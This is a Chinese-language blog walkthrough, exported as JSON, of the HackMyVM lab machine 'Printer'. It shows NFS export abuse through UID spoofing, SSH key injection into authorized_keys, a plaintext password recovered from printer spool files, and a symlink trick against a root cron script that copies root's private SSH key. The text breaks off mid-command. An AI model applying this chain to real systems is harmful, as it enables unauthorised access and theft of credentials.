{"id":651,"date":"2024-04-28T16:55:16","date_gmt":"2024-04-28T08:55:16","guid":{"rendered":"http:\/\/162.14.82.114\/?p=651"},"modified":"2024-04-28T16:55:16","modified_gmt":"2024-04-28T08:55:16","slug":"hmv-_-printer","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/651\/04\/28\/2024\/","title":{"rendered":"hmv[-_-]Printer"},"content":{"rendered":"<h1>Printer<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652535.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652535.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427121939445\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652537.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652537.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428152508834\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u626b\u63cf<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ rustscan -a 192.168.0.187 -- -A \n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nPlease contribute more quotes to our GitHub https:\/\/github.com\/rustscan\/rustscan\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.0.187:22\nOpen 192.168.0.187:111\nOpen 192.168.0.187:2049\nOpen 192.168.0.187:41877\nOpen 192.168.0.187:47101\nOpen 192.168.0.187:54373\nOpen 192.168.0.187:57245\n\nPORT      STATE SERVICE  REASON  VERSION\n22\/tcp    open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n|   3072 18:96:ad:89:71:03:7f:6c:8b:a1:d2:83:ca:6f:0e:56 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDxOtRGq8HFdbRgwdwFWGCCwFMDzFIMykJCphIiusDq8BgysAKGnoy06zcgoK9HzymGG2pPbhJQ9qIfohHRKD\/YSRCK0v+mxAOaZfTHFEuMw9XYdJla4AOQ1AYdMLI6H7l0lTnQDJFysBAyhLwSgvN1IsrFh6oHpXWWtjh+MB4RZTH1KPL5z34HR6isoY3LZfWuzra1zWOY8TnUNhpSjWH59t32BRWu1AZ185ns1x4ziefx4vY4wVdYZD0xGdF1QzV0N7MvyvDg0dRZEUcmkVCs1FVYqrxj8lI41eDv6mAEAfm3DXpvs6vWoxgKh469CX\/F6u9K79XeN8jV8mgMC1o1d9fOmTgTUkxf9M2EBirSJmWf7Gn7mzx06dO9nXElves1JTlFccYqD+V4j6VugT12uKcMEMwT9w3RoL0XDKrNrXmGWH\/QtIIfoXbtlN1YEiPWeXlj451exVVNxs6xgrvoeZpvsCRiU3WOFJD827Suktj+C1SDCeJfOAV+KzSJ\/a0=\n|   256 a4:1f:bf:9b:2d:cc:f6:82:78:1c:72:bc:31:9f:7d:fb (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPszVeIxPHkdM2v2g7iYZ\/nczM9nbzHJDnKeo91aXc5axa8eYU6qNdEDphPIR3xRwUBcCVQo4260PLCoKhMe+W0=\n|   256 6a:f6:fc:ff:e8:b8:62:57:7c:68:4d:6a:e3:f4:49:ce (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOCa\/AyvJmC3T7515pPe3L65QNECVJbzjb+KYxW8hdTQ\n111\/tcp   open  rpcbind  syn-ack 2-4 (RPC #100000)\n| rpcinfo: \n|   program version    port\/proto  service\n|   100000  2,3,4        111\/tcp   rpcbind\n|   100000  2,3,4        111\/udp   rpcbind\n|   100000  3,4          111\/tcp6  rpcbind\n|   100000  3,4          111\/udp6  rpcbind\n|   100005  1,2,3      35031\/tcp6  mountd\n|   100005  1,2,3      45191\/udp6  mountd\n|   100005  1,2,3      54326\/udp   mountd\n|   100005  1,2,3      54373\/tcp   mountd\n|   100227  3           2049\/tcp   nfs_acl\n|   100227  3           2049\/tcp6  nfs_acl\n|   100227  3           2049\/udp   nfs_acl\n|_  100227  3           2049\/udp6  nfs_acl\n2049\/tcp  open  nfs_acl  syn-ack 3 (RPC #100227)\n41877\/tcp open  nlockmgr syn-ack 1-4 (RPC #100021)\n47101\/tcp open  mountd   syn-ack 1-3 (RPC #100005)\n54373\/tcp open  mountd   syn-ack 1-3 (RPC #100005)\n57245\/tcp open  mountd   syn-ack 1-3 (RPC #100005)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u654f\u611f\u7aef\u53e3\u670d\u52a1<\/h3>\n<p>\u53d1\u73b0\u5b58\u5728<code>nfs<\/code>\u670d\u52a1\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6302\u8f7d\uff1a<\/p>\n<blockquote>\n<p>\u4e0d\u786e\u5b9a\u547d\u4ee4\u7684\u8bdd\u53ef\u4ee5\u53c2\u8003 <a href=\"https:\/\/book.hacktricks.xyz\/network-services-pentesting\/nfs-service-pentesting#mounting\">https:\/\/book.hacktricks.xyz\/network-services-pentesting\/nfs-service-pentesting#mounting<\/a><\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ showmount -e 192.168.0.187 \nExport list for 192.168.0.187:\n\/home\/lisa *\nmount -t nfs 192.168.0.187:\/home\/lisa lisanfs -o nolock\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ mkdir lisanfs                                      \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ mount -t nfs 192.168.0.187:\/home\/lisa lisanfs -o nolock\nmount.nfs: failed to apply fstab options\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/printer]\n\u2514\u2500$ sudo su\n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# mount -t nfs 192.168.0.187:\/home\/lisa lisanfs -o nolock<\/code><\/pre>\n<h3>\u521b\u5efa\u76f8\u7528id\u7528\u6237\u67e5\u770b<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# ls -la\ntotal 12\ndrwxr-xr-x  3 kali kali 4096 Apr 28 03:33 .\ndrwxr-xr-x 79 kali kali 4096 Apr 28 03:22 ..\ndrwxr-xr-x  4 1098 kali 4096 Jan  8  2023 lisanfs\n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# cd lisanfs   \n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer\/lisanfs]\n\u2514\u2500# ls -la\nls: .ssh: Permission denied\nls: user.txt: Permission denied\ntotal 32\ndrwxr-xr-x 4 1098 kali 4096 Jan  8  2023 .\ndrwxr-xr-x 3 kali kali 4096 Apr 28 03:33 ..\nlrwxrwxrwx 1 root root    9 Jan  7  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 1098 kali  220 Jan  7  2023 .bash_logout\n-rw-r--r-- 1 1098 kali 3555 Jan  7  2023 .bashrc\ndrwxr-xr-x 3 1098 kali 4096 Jan  7  2023 .local\n-rw-r--r-- 1 1098 kali  807 Jan  7  2023 .profile\ndrwx------ 2 1098 kali 4096 Jan  8  2023 .ssh\n-rwx------ 1 1098 kali   33 Jan  7  2023 user.txt\n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer\/lisanfs]\n\u2514\u2500# cd ..     \n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# useradd -u 1098 hack -p hack -M \nuseradd: user &#039;hack&#039; already exists\n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# userdel hack                    \n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# useradd -u 1098 hack -p hack -M \n\n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/printer]\n\u2514\u2500# su hack                                    \n$ id\nuid=1098(hack) gid=1098(hack) groups=1098(hack)\n$ bash\nhack@kali:\/home\/kali\/temp\/printer$ id\nuid=1098(hack) gid=1098(hack) groups=1098(hack)\nhack@kali:\/home\/kali\/temp\/printer$ cd lisanfs\/\nhack@kali:\/home\/kali\/temp\/printer\/lisanfs$ ls -la\ntotal 32\ndrwxr-xr-x 4 hack kali 4096 Jan  8  2023 .\ndrwxr-xr-x 3 kali kali 4096 Apr 28 03:33 ..\nlrwxrwxrwx 1 root root    9 Jan  7  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 hack kali  220 Jan  7  2023 .bash_logout\n-rw-r--r-- 1 hack kali 3555 Jan  7  2023 .bashrc\ndrwxr-xr-x 3 hack kali 4096 Jan  7  2023 .local\n-rw-r--r-- 1 hack kali  807 Jan  7  2023 .profile\ndrwx------ 2 hack kali 4096 Jan  8  2023 .ssh\n-rwx------ 1 hack kali   33 Jan  7  2023 user.txt\nhack@kali:\/home\/kali\/temp\/printer\/lisanfs$ cat user.txt \nf590b7e83e4c8cd11d06849f9c1a8f6d\nhack@kali:\/home\/kali\/temp\/printer\/lisanfs$ cd .ssh\nhack@kali:\/home\/kali\/temp\/printer\/lisanfs\/.ssh$ ls -la\ntotal 12\ndrwx------ 2 hack kali 4096 Jan  8  2023 .\ndrwxr-xr-x 4 hack kali 4096 Jan  8  2023 ..\n-rw-r--r-- 1 hack kali  566 Jan  8  2023 id_rsa.pub\nhack@kali:\/home\/kali\/temp\/printer\/lisanfs\/.ssh$ <\/code><\/pre>\n<p>\u5c1d\u8bd5\u521b\u5efa\u5bc6\u94a5\uff0c\u7136\u540e\u6dfb\u52a0\u516c\u94a5\u8fdb\u53bb\uff1a<\/p>\n<pre><code class=\"language-bash\">hack@kali:\/home\/kali\/temp\/printer\/lisanfs\/.ssh$ echo &#039;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHEEreSBT41zsOZP5cF8LQv2CcVi0wKKX6xnEyLpdkI4cDWXrPLrVh7uIb6a\/lI+bfD\/W40XRgQk\/uUKEYytZAC02Iol7zLm4K+GV+NSaft0SzfAaBlbbI63w80x\/GIUhulwWHXALiTdoKSAanHDF1x5TuInJukljCVGW4Gzu0c0rLsfkzCVkI\/a4Z0EwxQozl1q4h6EEQtIWCRamUUN3VB6ZgaWdsgYdXIV2wODZ9wDI6ten0LdSBdV\/I1ofzufTPL8DUxxO028xamTdA0C2vbsUjOuLoaDfYTaiDobLZtpe3aI6eWK4Gb9T\/AYAakcF1mGnEawSp0FZwktcZjgg2emswfhmBh0VJ\/4+7mUtO2sy598XtxqHP7WHtpzWV6p9DwLEL3SAkuVBh1pJIIfqmVu7zkzEGo1wvzywiH+lEtHGJuQumwU22bO5JaRZgUZZwbzblLSUOj8JQVOhx5N1pKbq3nHJ50pw2hnJi9LjYNDGWVbW4TUUvlqiNlzhRXCE= kali@kali&#039; &gt; authorized_keys<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884cssh\u8fde\u63a5\uff1a<\/p>\n<pre><code class=\"language-bash\">hack@kali:\/home\/kali\/temp\/printer\/lisanfs\/.ssh$ ls -la\ntotal 16\ndrwx------ 2 hack kali 4096 Apr 28 03:47 .\ndrwxr-xr-x 4 hack kali 4096 Jan  8  2023 ..\n-rw-r--r-- 1 hack hack  563 Apr 28 03:47 authorized_keys\n-rw-r--r-- 1 hack kali  566 Jan  8  2023 id_rsa.pub\nhack@kali:\/home\/kali\/temp\/printer\/lisanfs\/.ssh$ su kali\nPassword:<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652538.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652538.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428154911928\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">lisa@printer:~$ ls -la\ntotal 32\ndrwxr-xr-x 4 lisa lisa 4096 Jan  8  2023 .\ndrwxr-xr-x 3 root root 4096 Jan  7  2023 ..\nlrwxrwxrwx 1 root root    9 Jan  7  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 lisa lisa  220 Jan  7  2023 .bash_logout\n-rw-r--r-- 1 lisa lisa 3555 Jan  7  2023 .bashrc\ndrwxr-xr-x 3 lisa lisa 4096 Jan  7  2023 .local\n-rw-r--r-- 1 lisa lisa  807 Jan  7  2023 .profile\ndrwx------ 2 lisa lisa 4096 Apr 28 09:47 .ssh\n-rwx------ 1 lisa lisa   33 Jan  7  2023 user.txt\nlisa@printer:~$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/usr\/bin\/newgrp\n\/usr\/bin\/mount\n\/usr\/bin\/umount\n\/usr\/bin\/pkexec\n\/usr\/bin\/gpasswd\n\/usr\/bin\/su\n\/usr\/bin\/fusermount\n\/usr\/bin\/chfn\n\/usr\/bin\/sudo\n\/usr\/bin\/chsh\n\/usr\/bin\/passwd\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/sbin\/mount.nfs\n\/usr\/libexec\/polkit-agent-helper-1\nlisa@printer:~$ \/usr\/sbin\/getcap -r \/ 2&gt;\/dev\/null\n\/usr\/bin\/ping cap_net_raw=ep\nlisa@printer:~$ ss -altp\nState            Recv-Q           Send-Q                       Local Address:Port                         Peer Address:Port           Process           \nLISTEN           0                4096                               0.0.0.0:sunrpc                            0.0.0.0:*                                \nLISTEN           0                64                                 0.0.0.0:41877                             0.0.0.0:*                                \nLISTEN           0                128                                0.0.0.0:ssh                               0.0.0.0:*                                \nLISTEN           0                128                              127.0.0.1:ipp                               0.0.0.0:*                                \nLISTEN           0                4096                               0.0.0.0:57245                             0.0.0.0:*                                \nLISTEN           0                4096                               0.0.0.0:47101                             0.0.0.0:*                                \nLISTEN           0                64                                 0.0.0.0:nfs                               0.0.0.0:*                                \nLISTEN           0                4096                               0.0.0.0:54373                             0.0.0.0:*                                \nLISTEN           0                4096                                  [::]:35399                                [::]:*                                \nLISTEN           0                4096                                  [::]:sunrpc                               [::]:*                                \nLISTEN           0                128                                   [::]:ssh                                  [::]:*                                \nLISTEN           0                64                                    [::]:34743                                [::]:*                                \nLISTEN           0                4096                                  [::]:35031                                [::]:*                                \nLISTEN           0                4096                                  [::]:34487                                [::]:*                                \nLISTEN           0                64                                    [::]:nfs                                  [::]:*       \nlisa@printer:~$ cd ..\nlisa@printer:\/home$ ls -la\ntotal 12\ndrwxr-xr-x  3 root root 4096 Jan  7  2023 .\ndrwxr-xr-x 18 root root 4096 Jan  7  2023 ..\ndrwxr-xr-x  4 lisa lisa 4096 Jan  8  2023 lisa\nlisa@printer:\/home$ cat \/etc\/passwd | grep &quot;bash&quot;\nroot:x:0:0:root:\/root:\/bin\/bash\nlisa:x:1098:1000:lisa,,,:\/home\/lisa:\/bin\/bash\nlisa@printer:\/home$ cat \/etc\/shadow\ncat: \/etc\/shadow: Permission denied\nlisa@printer:\/home$ ls -l \/etc\/shadow\n-rw-r----- 1 root shadow 1043 Jan  8  2023 \/etc\/shadow\nlisa@printer:\/home$ cd \/\nlisa@printer:\/$ ls\nbin   dev  home        initrd.img.old  lib    lib64   lost+found  mnt  proc  run   srv  tmp  var      vmlinuz.old\nboot  etc  initrd.img  journal         lib32  libx32  media       opt  root  sbin  sys  usr  vmlinuz\nlisa@printer:\/$ cd tmp\nlisa@printer:\/tmp$ ls -la\ntotal 40\ndrwxrwxrwt 10 root root 4096 Apr 28 09:28 .\ndrwxr-xr-x 18 root root 4096 Jan  7  2023 ..\ndrwxrwxrwt  2 root root 4096 Apr 28  2024 .font-unix\ndrwxrwxrwt  2 root root 4096 Apr 28  2024 .ICE-unix\ndrwx------  3 root root 4096 Apr 28  2024 systemd-private-12298c4c33374392bd7dd673b87e286c-colord.service-6Tsn1h\ndrwx------  3 root root 4096 Apr 28  2024 systemd-private-12298c4c33374392bd7dd673b87e286c-systemd-logind.service-eCIjyg\ndrwx------  3 root root 4096 Apr 28  2024 systemd-private-12298c4c33374392bd7dd673b87e286c-systemd-timesyncd.service-zawuUf\ndrwxrwxrwt  2 root root 4096 Apr 28  2024 .Test-unix\ndrwxrwxrwt  2 root root 4096 Apr 28  2024 .X11-unix\ndrwxrwxrwt  2 root root 4096 Apr 28  2024 .XIM-unix\nlisa@printer:\/tmp$ cd \/opt\nlisa@printer:\/opt$ ls -la\ntotal 12\ndrwxr-xrwx  3 root root 4096 Jan 25  2023 .\ndrwxr-xr-x 18 root root 4096 Jan  7  2023 ..\ndrwxr-xr-x  2 root root 4096 Apr 28 09:55 logs\nlisa@printer:\/opt$ cd logs\nlisa@printer:\/opt\/logs$ ls -la\ntotal 12\ndrwxr-xr-x 2 root root 4096 Apr 28 09:55 .\ndrwxr-xrwx 3 root root 4096 Jan 25  2023 ..\n-rwxr-xr-x 1 root root  565 Jan  8  2023 nsecure\nlisa@printer:\/opt\/logs$ file nsecure \nnsecure: Bourne-Again shell script, ASCII text executable\nlisa@printer:\/opt\/logs$ cat nsecure \n#! \/bin\/bash\n\ndst=\/opt\/logs\njournal=$dst\/journal\nqueued=\/var\/spool\/cups\nstr=&quot;*log*&quot;\n\ntouch $journal\nchmod 700 $journal\nfind -L \/var\/log -type f -name &quot;$str&quot; -exec cp {} $dst  \\;\nfind -L \/opt -type f -name &quot;$str&quot; -exec cat {} &gt;&gt; $dst\/journal \\;\nrm $dst\/$str\n\nif grep -q &quot;fatal error !&quot; $dst\/journal ; then\n  umask 007 $queued\n  lp -d superPrinter $dst\/journal\n  umask 022\n  zip -P $(&lt;~\/.lisaPass) -j $journal.zip $queued\/d*\n  rm -f $queued\/{d*,c*}\n  &gt;\/var\/log\/syslog\n  &gt;\/var\/log\/user.log\n  echo &quot;Lisa, URGENT! Come quickly to fix the problem!&quot; |wall\nfi\n\nrm $journal\nlisa@printer:\/opt\/logs$ sudo -l\n[sudo] password for lisa: \nsudo: a password is required<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e2a\u811a\u672c\uff0c\u4f3c\u4e4e\u4f7f\u7528\u7684\u662f\u76f8\u5bf9\u8def\u5f84\uff0c\u4f46\u662f\u6211\u4eec\u6ca1\u529e\u6cd5sudo\u6267\u884c\uff0c\u563f\u563f\u563f\u563f\u3002\u3002<\/p>\n<h3>\u5206\u6790\u7a0b\u5e8f<\/h3>\n<p>\u4f46\u662f\u4f3c\u4e4e\u662f\u4e00\u4e2a\u5b9a\u65f6\u4efb\u52a1\uff0c\u67e5\u770b\u4e00\u4e0b\u51e0\u4e2a\u654f\u611f\u8def\u5f84\u7684\u5185\u5bb9<\/p>\n<pre><code class=\"language-bash\">lisa@printer:\/var\/spool\/cups$ ls\n18358014  21581476  tmp\nlisa@printer:\/var\/spool\/cups$ file *\n18358014: HP Printer Job Language data\n21581476: HP Printer Job Language data\ntmp:      sticky, directory\nlisa@printer:\/var\/spool\/cups$ cd tmp\nlisa@printer:\/var\/spool\/cups\/tmp$ ls -la\ntotal 8\ndrwxrwx--T  2 root lp 4096 Jan 25  2023 .\ndrwxr-x---+ 3 root lp 4096 Jan 25  2023 ..<\/code><\/pre>\n<p>\u8fd9\u4e2a\u5565\u6253\u5370\u673a\u6587\u4ef6\u662f\u4ec0\u4e48\uff1f<\/p>\n<blockquote>\n<p>HP Printer Job Language\uff08PJL\uff09\u6570\u636e\u662f\u6307\u4f7f\u7528PJL\u547d\u4ee4\u8bed\u8a00\u7f16\u5199\u7684\u6307\u4ee4\u548c\u6570\u636e\u3002PJL\u662f\u4e00\u79cd\u6253\u5370\u673a\u547d\u4ee4\u8bed\u8a00\uff0c\u7528\u4e8e\u63a7\u5236\u6253\u5370\u673a\u7684\u884c\u4e3a\uff0c\u5305\u62ec\u5728\u6253\u5370\u4f5c\u4e1a\u4e2d\u63a7\u5236\u6253\u5370\u673a\u7684\u72b6\u6001\uff0c\u5e76\u5411\u6253\u5370\u673a\u53d1\u9001\u6307\u4ee4\u3002\u8fd9\u4e9b\u6307\u4ee4\u548c\u6570\u636e\u53ef\u4ee5\u901a\u8fc7\u6253\u5370\u673a\u9a71\u52a8\u7a0b\u5e8f\u6216\u6253\u5370\u6570\u636e\u6d41\u5199\u5165\u6253\u5370\u4f5c\u4e1a\u4e2d\u3002\u5728\u6253\u5370\u6570\u636e\u6d41\u88ab\u9001\u5230\u6253\u5370\u673a\u4e4b\u524d\uff0cPJL\u547d\u4ee4\u4f1a\u88ab\u5199\u5165\u5230SPL\uff08Spool\uff09\u6587\u4ef6\u4e2d\uff0c\u4ee5\u786e\u4fdd\u5728\u6253\u5370\u4f5c\u4e1a\u5f00\u59cb\u4e4b\u524d\u88ab\u6b63\u786e\u5904\u7406\u3002<\/p>\n<\/blockquote>\n<p>\u628a\u6587\u4ef6\u53d1\u9001\u5230\u672c\u5730\u7528-<a href=\"https:\/\/www.coolutils.com\/online\/PCL-to-PDF\">\u5728\u7ebf\u7f51\u7ad9<\/a>\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652539.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652539.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428162737506\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u770b\u4e00\u4e0b\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-text\"># 18358014\nShopping list:\n1 yellow chicken from the Landes\n12 spring onions\n1 carrot\n300 g of peas\n100 g of chanterelles\nyellow wine\n50 cl of poultry juice\nolive oil\nbutter<\/code><\/pre>\n<pre><code class=\"language-text\"># 21581476\nHi Lisa,\nI made a lot of computer changes while you were away.\nI have reviewed the way to manage the logs.\nAnd I also changed your password, it&#039;s: 1154p455!1\nI prefer to print it out for you so that you can destroy the sheet and there will be no trace.\nLove<\/code><\/pre>\n<h3>\u5229\u7528\u7a0b\u5e8f<\/h3>\n<p>\u5c1d\u8bd5\u52a8\u6001\u8fde\u63a5\u4e00\u4e0b\uff0c\u8ba9\u4ed6\u628a<code>root<\/code>\u7684<code>ssh<\/code>\u79c1\u94a5\u7ed9\u6253\u5370\u51fa\u6765\uff0c\u5c1d\u8bd5\u5229\u7528\u4e00\u4e0b\uff1f<\/p>\n<pre><code class=\"language-bash\">lisa@printer:\/var\/spool\/cups$ cd \/opt\nlisa@printer:\/opt$ ls -la\ntotal 12\ndrwxr-xrwx  3 root root 4096 Jan 25  2023 .\ndrwxr-xr-x 18 root root 4096 Jan  7  2023 ..\ndrwxr-xr-x  2 root root 4096 Apr 28 10:42 logs\nlisa@printer:\/opt$ ln -s \/root\/.ssh\/id_rsa logrsa\nlisa@printer:\/opt$ ls -la\ntotal 12\ndrwxr-xrwx  3 root root 4096 Apr 28 10:43 .\ndrwxr-xr-x 18 root root 4096 Jan  7  2023 ..\nlrwxrwxrwx  1 lisa lisa   17 Apr 28 10:43 logrsa -&gt; \/root\/.ssh\/id_rsa\ndrwxr-xr-x  2 root root 4096 Apr 28 10:43 logs<\/code><\/pre>\n<p>\u7136\u540e\u641e\u4e00\u4e2a\u544a\u8b66\uff0c\u89e6\u53d1\u5907\u4efd\uff01<\/p>\n<pre><code class=\"language-bash\">lisa@printer:\/opt$ logger &quot;fatal error !&quot;\nlogger &quot;fatal error !&quot; \u662f\u4e00\u4e2a\u5728 Unix \u548c Linux \u7cfb\u7edf\u4e2d\u4f7f\u7528\u7684\u547d\u4ee4\uff0c\u7528\u4e8e\u5c06\u6d88\u606f &quot;fatal error !&quot; \u8bb0\u5f55\u5230\u7cfb\u7edf\u65e5\u5fd7\u4e2d<\/code><\/pre>\n<p>\u7b49\u5f85\u5b9a\u65f6\u4efb\u52a1\u89e6\u53d1\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652540.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281652540.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240428164715339\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u67e5\u770b\u53d1\u73b0\uff1a<\/p>\n<pre><code class=\"language-bash\">lisa@printer:\/opt$ ls\nlogrsa  logs\nlisa@printer:\/opt$ cd 